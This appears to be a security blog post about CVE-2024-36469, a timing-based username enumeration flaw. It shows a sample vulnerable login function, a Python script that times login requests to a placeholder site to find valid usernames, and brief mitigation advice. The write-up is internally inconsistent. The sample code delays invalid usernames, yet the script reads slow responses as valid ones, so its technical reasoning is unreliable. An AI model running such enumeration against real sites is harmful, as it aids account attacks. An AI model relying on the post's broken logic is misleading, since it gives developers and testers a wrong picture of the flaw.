CVE-2024-36469: Exploiting Username Enumeration in Authentication Systems Using Timing Differences

In this blog post, we will discuss the recently reported vulnerability identified as CVE-2024-36469. This vulnerability exploits a timing difference in the authentication process, allowing an attacker to carry out a username enumeration attack. We will provide an overview of this vulnerability, share some code snippets, link to original references, and detail the potential exploit and its impact on affected systems.

Background

Username enumeration is a common technique used by attackers to gather information on a target system by revealing the existence of specific usernames. This is useful for subsequent attacks, like password-guessing implementations. A successful username enumeration attack can lead to unauthorized access, data breaches, and a compromised system.

The vulnerability using the CVE-2024-36469 identifier revolves around the fact that the execution time for an unsuccessful login attempt differs when using a non-existent username compared to using an existing one. This timing difference can be exploited by an attacker to determine valid usernames.

Details

Some authentication systems may respond to login attempts with different execution times depending on whether the attempted username is valid or not. This can be best illustrated with the following code snippet:

def authenticate(username, password):
    user = get_user(username)
    if user is None:
        # Invalid username, return False after a fixed delay
        time.sleep(2)
        return False

    if not check_password(password, user.password_hash):
        # Incorrect password, return False immediately
        return False

    # Valid username and password, return True immediately
    return True

Based on the above code, we can observe that when an invalid username is provided, a fixed delay of 2 seconds is introduced before returning a False result. On the other hand, if an existing username is provided with an incorrect password, the function returns False immediately. This difference in execution time can be exploited by an attacker to identify valid usernames.

Exploit

As an attacker, we would attempt multiple login requests while monitoring their response times. Code snippet illustrating a simple Python-based exploit:

import requests
import time

url = "https://vulnerable-website/login";
usernames_to_test = ["alice", "bob", "charlie", "admin"]
threshold = 1.5

for username in usernames_to_test:
    start_time = time.time()
    response = requests.post(url, data={"username": username, "password": "wrong-password"})
    elapsed_time = time.time() - start_time

    if elapsed_time > threshold:
        print(f"[*] {username} is likely a valid username.")
    else:
        print(f"[-] {username} is likely an invalid username.")

In this exploit, we have a list of potential usernames and a threshold value for determining the difference in response times. We iterate through the list of potential usernames, attempting an incorrect password for each. By comparing the elapsed time to the threshold value, we can identify if the login attempt took longer than expected, indicating a valid username.

Mitigation

To address this vulnerability, the developers should ensure that execution times are consistent for all login attempts, regardless of the input provided. This can be achieved by implementing constant-time password comparison or adding artificial delays to make all login attempts take the same amount of time.

References

1. Original CVE Description: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36469
2. OWASP Guide on Username Enumeration: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account

Conclusion

CVE-2024-36469 is an important vulnerability that highlights the risks associated with inconsistent execution times in authentication systems. By exploiting the timing difference in unsuccessful login attempts, attackers can enumerate valid usernames, increasing the chances of a successful attack. It is crucial for developers and security teams to be aware of this vulnerability and to implement proper mitigations to protect their applications and systems from being compromised.

Timeline

Published on: 04/02/2025 07:15:40 UTC
Last modified on: 04/02/2025 14:58:07 UTC